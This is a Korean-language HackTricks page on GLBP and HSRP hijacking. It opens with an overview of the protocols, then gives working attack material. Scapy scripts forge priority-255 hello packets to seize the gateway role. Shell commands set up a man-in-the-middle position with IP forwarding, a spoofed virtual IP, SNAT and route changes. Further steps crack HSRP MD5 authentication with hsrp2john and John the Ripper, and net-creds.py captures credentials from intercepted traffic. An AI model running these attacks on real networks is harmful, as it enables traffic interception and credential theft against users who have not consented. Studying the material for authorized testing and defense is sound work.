GLBP & HSRP ๊ณต๊ฒฉ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

FHRP ํ•˜์ด์žฌํ‚น ๊ฐœ์š”

FHRP์— ๋Œ€ํ•œ ์„ค๋ช…

FHRP๋Š” ์—ฌ๋Ÿฌ ๋ผ์šฐํ„ฐ๋ฅผ ๋‹จ์ผ ๊ฐ€์ƒ ์žฅ์น˜๋กœ ํ†ตํ•ฉํ•ด ๋„คํŠธ์›Œํฌ์˜ ๊ฐ•์ธ์„ฑ, ๋กœ๋“œ ๋ถ„์‚ฐ ๋ฐ ์žฅ์•  ํ—ˆ์šฉ์„ฑ์„ ์ œ๊ณตํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Cisco Systems๋Š” ์ด ๊ณ„์—ด์— GLBP์™€ HSRP ๊ฐ™์€ ์ฃผ์š” ํ”„๋กœํ† ์ฝœ์„ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค.

GLBP ํ”„๋กœํ† ์ฝœ ์„ค๋ช…

Cisco๊ฐ€ ๋งŒ๋“  GLBP๋Š” TCP/IP ์Šคํƒ์—์„œ ๋™์ž‘ํ•˜๋ฉฐ ํ†ต์‹ ์— UDP ํฌํŠธ 3222๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. GLBP ๊ทธ๋ฃน์˜ ๋ผ์šฐํ„ฐ๋“ค์€ 3์ดˆ ๊ฐ„๊ฒฉ์œผ๋กœ โ€œhelloโ€ ํŒจํ‚ท์„ ๊ตํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๋ผ์šฐํ„ฐ๊ฐ€ 10์ดˆ ๋™์•ˆ ์ด ํŒจํ‚ท์„ ๋ณด๋‚ด์ง€ ์•Š์œผ๋ฉด ์˜คํ”„๋ผ์ธ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด ํƒ€์ด๋จธ๋“ค์€ ๊ณ ์ •๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉฐ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GLBP์˜ IPv6 ๋™์ž‘์€ UDP/3222๋ฅผ ํ†ตํ•œ ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ FF02::66์„ ์‚ฌ์šฉํ•˜๊ณ , ๊ฐ€์ƒ MAC ํ˜•์‹์€ 0007.b4xx.xxyy๊ฐ€ ๋ฉ๋‹ˆ๋‹ค (AVF ID๋Š” ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ์— ์œ„์น˜). ํƒ€์ด๋ฐ๊ณผ ๊ณต๊ฒฉ ํ‘œ๋ฉด์€ IPv4์™€ ๋™์ผํ•˜๋ฏ€๋กœ ๋“€์–ผ์Šคํƒ ๋„คํŠธ์›Œํฌ์—์„œ๋„ ํ•˜์ด์žฌํ‚น ๊ธฐ๋ฒ•์ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

GLBP ๋™์ž‘๊ณผ ๋กœ๋“œ ๋ถ„์‚ฐ

GLBP๋Š” ๋‹จ์ผ ๊ฐ€์ƒ IP์™€ ๋‹ค์ˆ˜์˜ ๊ฐ€์ƒ MAC ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•ด ๋ผ์šฐํ„ฐ ๊ฐ„์˜ ๋กœ๋“œ ๋ถ„์‚ฐ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. GLBP ๊ทธ๋ฃน์—์„œ๋Š” ๋ชจ๋“  ๋ผ์šฐํ„ฐ๊ฐ€ ํŒจํ‚ท ํฌ์›Œ๋”ฉ์— ๊ด€์—ฌํ•ฉ๋‹ˆ๋‹ค. HSRP/VRRP์™€ ๋‹ฌ๋ฆฌ GLBP๋Š” ์—ฌ๋Ÿฌ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด ์‹ค์ œ๋กœ ๋กœ๋“œ ๋ฐธ๋Ÿฐ์‹ฑ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

  • Host-Dependent Load Balancing: ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•ด ์ผ๊ด€๋œ AVF MAC ์ฃผ์†Œ ํ• ๋‹น์„ ์œ ์ง€ํ•˜์—ฌ ์•ˆ์ •์ ์ธ NAT ๊ตฌ์„ฑ์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.
  • Round-Robin Load Balancing: ๊ธฐ๋ณธ ๋™์ž‘์œผ๋กœ, ์š”์ฒญํ•˜๋Š” ํ˜ธ์ŠคํŠธ๋“ค ์‚ฌ์ด์—์„œ AVF MAC ์ฃผ์†Œ๋ฅผ ๋ฒˆ๊ฐˆ์•„ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • Weighted Round-Robin Load Balancing: ๋ฏธ๋ฆฌ ์ •์˜๋œ โ€œWeightโ€ ๋ฉ”ํŠธ๋ฆญ์— ๋”ฐ๋ผ ๋กœ๋“œ๋ฅผ ๋ถ„๋ฐฐํ•ฉ๋‹ˆ๋‹ค.

GLBP์˜ ์ฃผ์š” ๊ตฌ์„ฑ ์š”์†Œ ๋ฐ ์šฉ์–ด

  • AVG (Active Virtual Gateway): MAC ์ฃผ์†Œ๋ฅผ ํ”ผ์–ด ๋ผ์šฐํ„ฐ๋“ค์—๊ฒŒ ํ• ๋‹นํ•˜๋Š” ์ฃผ ๋ผ์šฐํ„ฐ์ž…๋‹ˆ๋‹ค.
  • AVF (Active Virtual Forwarder): ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ์ฒ˜๋ฆฌํ•˜๋„๋ก ์ง€์ •๋œ ๋ผ์šฐํ„ฐ์ž…๋‹ˆ๋‹ค.
  • GLBP Priority: AVG๋ฅผ ๊ฒฐ์ •ํ•˜๋Š” ๋ฉ”ํŠธ๋ฆญ์œผ๋กœ ๊ธฐ๋ณธ๊ฐ’์€ 100์ด๊ณ  1์—์„œ 255 ์‚ฌ์ด์ž…๋‹ˆ๋‹ค.
  • GLBP Weight: ๋ผ์šฐํ„ฐ์˜ ํ˜„์žฌ ๋ถ€ํ•˜๋ฅผ ๋ฐ˜์˜ํ•˜๋ฉฐ ์ˆ˜๋™์œผ๋กœ ๋˜๋Š” Object Tracking์„ ํ†ตํ•ด ์กฐ์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • GLBP Virtual IP Address: ๋„คํŠธ์›Œํฌ์— ์—ฐ๊ฒฐ๋œ ๋ชจ๋“  ์žฅ์น˜์˜ ๊ธฐ๋ณธ ๊ฒŒ์ดํŠธ์›จ์ด๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

์ƒํ˜ธ์ž‘์šฉ์„ ์œ„ํ•ด GLBP๋Š” ์˜ˆ์•ฝ๋œ ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ์ฃผ์†Œ 224.0.0.102์™€ UDP ํฌํŠธ 3222๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ผ์šฐํ„ฐ๋Š” 3์ดˆ ๊ฐ„๊ฒฉ์œผ๋กœ โ€œhelloโ€ ํŒจํ‚ท์„ ์ „์†กํ•˜๋ฉฐ, 10์ดˆ ๋™์•ˆ ํŒจํ‚ท์„ ๋†“์น˜๋ฉด ๋น„์ž‘๋™์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค.

GLBP ๊ณต๊ฒฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜

๊ณต๊ฒฉ์ž๋Š” ์šฐ์„  ์ˆœ์œ„ ๊ฐ’์ด ๊ฐ€์žฅ ๋†’์€ GLBP ํŒจํ‚ท(255)์„ ์ „์†กํ•˜์—ฌ ์ฃผ ๋ผ์šฐํ„ฐ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” DoS ๋˜๋Š” MITM ๊ณต๊ฒฉ์œผ๋กœ ์ด์–ด์ ธ ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ๋ฆฌ๋””๋ ‰์…˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Practical GLBP hijack with Scapy (short PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

payload bytes๋ฅผ ์ œ์ž‘ํ•˜์—ฌ GLBP header (version/opcode/priority/weight/VRID)๋ฅผ ๋ชจ๋ฐฉํ•˜์„ธ์š”. ํ”„๋ ˆ์ž„์„ ๋ฐ˜๋ณต ์ „์†กํ•˜๋ฉด authentication์ด ์—†์„ ๊ฒฝ์šฐ AVG election์—์„œ ์Šน๋ฆฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Loki๋กœ GLBP Attack ์‹คํ–‰

Loki๋Š” priority์™€ weight๊ฐ€ 255๋กœ ์„ค์ •๋œ ํŒจํ‚ท์„ ์ฃผ์ž…ํ•˜์—ฌ GLBP attack์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ ์ „ ๋‹จ๊ณ„๋กœ๋Š” virtual IP address, authentication ์กด์žฌ ์—ฌ๋ถ€, router priority values ๋“ฑ๊ณผ ๊ฐ™์€ ์ •๋ณด๋ฅผ Wireshark ๊ฐ™์€ ๋„๊ตฌ๋กœ ์ˆ˜์ง‘ํ•˜๋Š” ๊ฒƒ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

Attack Steps:

  1. promiscuous mode๋กœ ์ „ํ™˜ํ•˜๊ณ  IP forwarding์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  2. ๋Œ€์ƒ ๋ผ์šฐํ„ฐ๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ํ•ด๋‹น IP๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  3. Gratuitous ARP๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  4. AVG๋ฅผ ์‚ฌ์นญํ•˜๋Š” ์•…์„ฑ GLBP ํŒจํ‚ท์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค.
  5. ๊ณต๊ฒฉ์ž์˜ ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค์— GLBP virtual IP๋ฅผ ๋ณต์ œํ•œ secondary IP ์ฃผ์†Œ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค.
  6. ์™„์ „ํ•œ ํŠธ๋ž˜ํ”ฝ ๊ฐ€์‹œ์„ฑ์„ ์œ„ํ•ด SNAT์„ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค.
  7. ์›๋ž˜ AVG ๋ผ์šฐํ„ฐ๋ฅผ ํ†ตํ•ด ์ธํ„ฐ๋„ท ์ ‘๊ทผ์„ ๊ณ„์† ์œ ์ง€ํ•˜๋„๋ก ๋ผ์šฐํŒ…์„ ์กฐ์ •ํ•ฉ๋‹ˆ๋‹ค.

์ด ๋‹จ๊ณ„๋“ค์„ ๋”ฐ๋ฅด๋ฉด ๊ณต๊ฒฉ์ž๋Š” โ€œman in the middleโ€ ์œ„์น˜๋ฅผ ํ™•๋ณดํ•˜์—ฌ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์•˜๊ฑฐ๋‚˜ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•œ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„๊ณ  ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฐ๋ชจ๋ฅผ ์œ„ํ•ด, ํ•„์š”ํ•œ ๋ช…๋ น ์Šค๋‹ˆํŽซ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network.

์ˆ˜๋™ ์„ค๋ช…: HSRP Hijacking (๋ช…๋ น ์„ธ๋ถ€์‚ฌํ•ญ ํฌํ•จ)

Overview of HSRP (Hot Standby Router/Redundancy Protocol)

HSRP๋Š” ๋„คํŠธ์›Œํฌ ๊ฒŒ์ดํŠธ์›จ์ด์˜ ์ค‘๋ณต์„ฑ์„ ์œ„ํ•ด Cisco๊ฐ€ ๋งŒ๋“  ๋…์  ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ์—ฌ๋Ÿฌ ๊ฐœ์˜ ๋ฌผ๋ฆฌ์  ๋ผ์šฐํ„ฐ๋ฅผ ๋‹จ์ผ ๋…ผ๋ฆฌ ์œ ๋‹›์œผ๋กœ ๊ตฌ์„ฑํ•˜์—ฌ ๊ณต์œ  IP ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋…ผ๋ฆฌ ์œ ๋‹›์€ ํŠธ๋ž˜ํ”ฝ์„ ๋ผ์šฐํŒ…ํ•˜๋Š” ์ฑ…์ž„์ด ์žˆ๋Š” ์ฃผ ๋ผ์šฐํ„ฐ์— ์˜ํ•ด ๊ด€๋ฆฌ๋ฉ๋‹ˆ๋‹ค. GLBP์™€ ๋‹ฌ๋ฆฌ(์šฐ์„ ์ˆœ์œ„๋‚˜ weight ๊ฐ™์€ ๋ฉ”ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•œ ๋กœ๋“œ๋ฐธ๋Ÿฐ์‹ฑ), HSRP๋Š” ํŠธ๋ž˜ํ”ฝ ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•ด ๋‹จ์ผ active ๋ผ์šฐํ„ฐ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค.

HSRPv1์€ multicast 224.0.0.2์™€ virtual MAC 0000.0c07.acXX๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค; HSRPv2 and HSRPv2 for IPv6๋Š” 224.0.0.102 / FF02::66์™€ virtual MAC 0000.0c9f.fXXX๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. UDP destination port๋Š” IPv4์˜ ๊ฒฝ์šฐ 1985, IPv6์˜ ๊ฒฝ์šฐ 2029์ž…๋‹ˆ๋‹ค.

Roles and Terminology in HSRP

  • HSRP Active Router: ๊ฒŒ์ดํŠธ์›จ์ด ์—ญํ• ์„ ํ•˜๋ฉฐ ํŠธ๋ž˜ํ”ฝ ํ๋ฆ„์„ ๊ด€๋ฆฌํ•˜๋Š” ์žฅ๋น„์ž…๋‹ˆ๋‹ค.
  • HSRP Standby Router: Active ๋ผ์šฐํ„ฐ์— ๋ฌธ์ œ๊ฐ€ ์ƒ๊ฒผ์„ ๋•Œ ์ฆ‰์‹œ ์—ญํ• ์„ ์ธ๊ณ„๋ฐ›์„ ์ค€๋น„๊ฐ€ ๋œ ๋ฐฑ์—… ๋ผ์šฐํ„ฐ์ž…๋‹ˆ๋‹ค.
  • HSRP Group: ๋‹จ์ผ ํƒ„๋ ฅ์  ๊ฐ€์ƒ ๋ผ์šฐํ„ฐ๋ฅผ ํ˜•์„ฑํ•˜๊ธฐ ์œ„ํ•ด ํ˜‘๋ ฅํ•˜๋Š” ๋ผ์šฐํ„ฐ๋“ค์˜ ์ง‘ํ•ฉ์ž…๋‹ˆ๋‹ค.
  • HSRP MAC Address: HSRP ์„ค์ •์—์„œ ๋…ผ๋ฆฌ ๋ผ์šฐํ„ฐ์— ํ• ๋‹น๋œ ๊ฐ€์ƒ MAC ์ฃผ์†Œ์ž…๋‹ˆ๋‹ค.
  • HSRP Virtual IP Address: ์—ฐ๊ฒฐ๋œ ์žฅ์น˜๋“ค์˜ ๊ธฐ๋ณธ ๊ฒŒ์ดํŠธ์›จ์ด ์—ญํ• ์„ ํ•˜๋Š” HSRP ๊ทธ๋ฃน์˜ ๊ฐ€์ƒ IP ์ฃผ์†Œ์ž…๋‹ˆ๋‹ค.

HSRP Versions

HSRP๋Š” HSRPv1๊ณผ HSRPv2์˜ ๋‘ ๊ฐ€์ง€ ๋ฒ„์ „์ด ์žˆ์œผ๋ฉฐ, ์ฃผ๋กœ ๊ทธ๋ฃน ์ˆ˜์šฉ๋ ฅ, ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ IP ์‚ฌ์šฉ, ๊ฐ€์ƒ MAC ์ฃผ์†Œ ๊ตฌ์กฐ์—์„œ ์ฐจ์ด๊ฐ€ ๋‚ฉ๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์€ ์„œ๋น„์Šค ์ •๋ณด ๊ตํ™˜์„ ์œ„ํ•ด ํŠน์ • ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ IP ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, Hello ํŒจํ‚ท์€ ๋งค 3์ดˆ๋งˆ๋‹ค ์ „์†ก๋ฉ๋‹ˆ๋‹ค. 10์ดˆ ๊ฐ„๊ฒฉ ๋‚ด์— ํŒจํ‚ท์„ ์ˆ˜์‹ ํ•˜์ง€ ๋ชปํ•˜๋ฉด ํ•ด๋‹น ๋ผ์šฐํ„ฐ๋Š” ๋น„ํ™œ์„ฑ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค.

HSRP Attack Mechanism

HSRP ๊ณต๊ฒฉ์€ ์ตœ๋Œ€ ์šฐ์„ ์ˆœ์œ„ ๊ฐ’์„ ์ฃผ์ž…ํ•˜์—ฌ Active Router์˜ ์—ญํ• ์„ ๊ฐ•์ œ๋กœ ํƒˆ์ทจํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Man-In-The-Middle (MITM) ๊ณต๊ฒฉ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์ „ ๊ณต๊ฒฉ ๋‹จ๊ณ„๋กœ๋Š” HSRP ์„ค์ •์— ๋Œ€ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๋Š” ๊ฒƒ์ด ํ•„์š”ํ•˜๋ฉฐ, ์ด๋Š” ํŠธ๋ž˜ํ”ฝ ๋ถ„์„์„ ์œ„ํ•ด Wireshark๋ฅผ ์‚ฌ์šฉํ•ด ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Quick HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

If authentication is not configured, continuously sending hellos with higher priority forces peers into Speak/Listen states and lets you become Active, redirecting traffic through your host.

HSRP authentication corner cases

  • Legacy plain-text auth๋Š” ์‰ฝ๊ฒŒ ์Šคํ‘ธํ•‘ ๊ฐ€๋Šฅํ•˜๋‹ค.
  • MD5 authentication์€ HSRP ํŽ˜์ด๋กœ๋“œ๋งŒ ๋ณดํ˜ธํ•˜๋ฏ€๋กœ, ์กฐ์ž‘๋œ ํŒจํ‚ท์œผ๋กœ ์ œ์–ด ํ”Œ๋ ˆ์ธ์„ rate-limit/DoSํ•  ์ˆ˜ ์žˆ๋‹ค. ์ผ๋ถ€ NX-OS ๋ฆด๋ฆฌ์Šค๋Š” ์ธ์ฆ๋œ ๊ทธ๋ฃน์— ๋Œ€ํ•ด DoS๋ฅผ ํ—ˆ์šฉํ•œ ์ ์ด ์žˆ๋‹ค(์ฐธ์กฐ: Cisco advisory CSCup11309).
  • ๋งŽ์€ ISP / VPS ๊ณต์œ  VLAN์—์„œ HSRPv1 multicasts๊ฐ€ ํ…Œ๋„ŒํŠธ์— ๋…ธ์ถœ๋˜๋ฏ€๋กœ, ์ธ์ฆ์ด ์—†์œผ๋ฉด ์ฐธ๊ฐ€ํ•ด ํŠธ๋ž˜ํ”ฝ์„ ์„ ์ (preempt)ํ•  ์ˆ˜ ์žˆ๋‹ค.

Steps for Bypassing HSRP Authentication

  1. HSRP ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•œ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ .pcap ํŒŒ์ผ๋กœ ์ €์žฅํ•œ๋‹ค.
tcpdump -w hsrp_traffic.pcap
  1. hsrp2john.py๋ฅผ ์‚ฌ์šฉํ•ด .pcap์—์„œ MD5 ํ•ด์‹œ๋ฅผ ์ถ”์ถœํ•œ๋‹ค.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. John the Ripper๋กœ MD5 ํ•ด์‹œ๋ฅผ ํฌ๋ž™ํ•œ๋‹ค.
john --wordlist=mywordlist.txt hsrp_hashes

Executing HSRP Injection with Loki

  1. Loki๋ฅผ ์‹คํ–‰ํ•ด HSRP advertisements๋ฅผ ์‹๋ณ„ํ•œ๋‹ค.
  2. ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ promiscuous ๋ชจ๋“œ๋กœ ์„ค์ •ํ•˜๊ณ  IP forwarding์„ ํ™œ์„ฑํ™”ํ•œ๋‹ค.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Loki๋กœ ํŠน์ • ๋ผ์šฐํ„ฐ๋ฅผ ํƒ€๊ฒŸํŒ…ํ•˜๊ณ , ํฌ๋ž™ํ•œ HSRP ํŒจ์Šค์›Œ๋“œ๋ฅผ ์ž…๋ ฅํ•œ ๋’ค Active Router๋ฅผ ์‚ฌ์นญํ•˜๊ธฐ ์œ„ํ•œ ์„ค์ •์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.
  2. Active Router ์—ญํ• ์„ ํš๋“ํ•œ ํ›„, ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค์™€ IP tables๋ฅผ ๊ตฌ์„ฑํ•ด ์ •๊ทœ ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑˆ๋‹ค.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. ๋ผ์šฐํŒ… ํ…Œ์ด๋ธ”์„ ์ˆ˜์ •ํ•ด ํŠธ๋ž˜ํ”ฝ์ด ์ด์ „ Active Router๋ฅผ ๊ฒฝ์œ ํ•˜๋„๋ก ์„ค์ •ํ•œ๋‹ค.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. ๊ฐ€๋กœ์ฑˆ ํŠธ๋ž˜ํ”ฝ์—์„œ ์ž๊ฒฉ์ฆ๋ช…(credentials)์„ ์บก์ฒ˜ํ•˜๋ ค๋ฉด net-creds.py๋‚˜ ์œ ์‚ฌ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.
sudo python2 net-creds.py -i eth0

์ด ์ ˆ์ฐจ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„๊ณ  ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ์œ„์น˜๋ฅผ ํ™•๋ณดํ•˜๊ฒŒ ๋˜๋ฉฐ, ์ด๋Š” GLBP hijacking ์ ˆ์ฐจ์™€ ์œ ์‚ฌํ•˜๋‹ค. ์ด๋Š” HSRP์™€ ๊ฐ™์€ redundancy ํ”„๋กœํ† ์ฝœ์˜ ์ทจ์•ฝ์„ฑ์„ ๋ณด์—ฌ์ฃผ๋ฉฐ ๊ฐ•๋ ฅํ•œ ๋ณด์•ˆ ์กฐ์น˜์˜ ํ•„์š”์„ฑ์„ ๊ฐ•์กฐํ•œ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ